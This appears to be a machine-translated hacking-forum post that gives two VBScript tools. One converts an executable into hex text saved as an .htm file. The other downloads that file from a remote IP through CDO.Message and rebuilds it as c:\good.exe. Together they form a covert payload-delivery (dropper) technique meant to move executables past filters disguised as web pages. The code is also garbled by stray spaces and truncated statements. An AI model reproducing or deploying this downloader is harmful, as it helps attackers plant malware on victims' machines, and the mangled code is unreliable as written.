So I studied it for a while. Write a rough DEMO.
Exe2hex. vbs // exe2vbs written by xiaolu. I changed it to direct drag-and-drop and convert it to hexadecimal
========================================================== ==========
Copy codeThe code is as follows: 'Code by xiaolu
'Change by NetPatch
On error resume next
Set arg = wscript. arguments
If arg. count = 0 then wscript. quit
Do while 1
Fname = arg (0)
Err. number = 0
Set Ado = CreateObject ("adodb. stream ")
With Ado
. Type = 1
. Open
. Loadfromfile fname
Ss =. read
End
If err. number <> 0 then
If msgbox ("file opening error! ", 1," File2VBS ") = 2 then Wscript. quit
Else
Exit do
End if
Loop
If fname = "" then Wscript. quit
Set Fso = CreateObject ("Scripting. FileSystemObject ")
Set File = fso. OpenTextFile (arg (0) & ". htm", 2, True)
File. write Bin2Str (ss)
File. close
Set fso = nothing
Ado. close
Set Abo = nothing
Function Bin2Str (Re)
For I = 1 To lenB (Re)
Bt = AscB (MidB (Re, I, 1 ))
If bt <16 Then Bin2Str = Bin2Str & "0"
Bin2Str = Bin2Str & Hex (bt)
Next
End Function
==============================================
Downloader down. vbs
==================Copy codeThe Code is as follows: on error resume next
Set arg = wscript. arguments
If arg. count = 0 then wscript. quit
'Code by NetPatch
'Cscript down. vbs http: // 122.136.32.55/demo.htm c: \ good.exe
Set Mail1 = CreateObject ("CDO. Message ")
Mail1.CreateMHTMLBody arg (0), 31
Ss = Mail1.HTMLBody
Set Mail1 = Nothing
Set RS = CreateObject ("ADODB. Recordset ")
L = Len (ss)/2
RS. Fields. Append "m", 205, L
RS. Open: RS. AddNew
RS ("m") = ss & ChrB (0)
RS. Update
Ss = RS ("m"). GetChunk (L)
Set s = CreateObject ("ADODB. Stream ")
With s
. Mode = 3
. Type = 1
. Open ()
. Write ss
. SaveToFile arg (1), 2
End
========================================
After the demo.htm content is converted to EXE by using exe2hex. vbs
Usage:
1.exe 2hex. vbs converts exe to hexadecimal format and puts it on the network.
2. down. vbs http: // xxx/demo.htm c: \ good.exe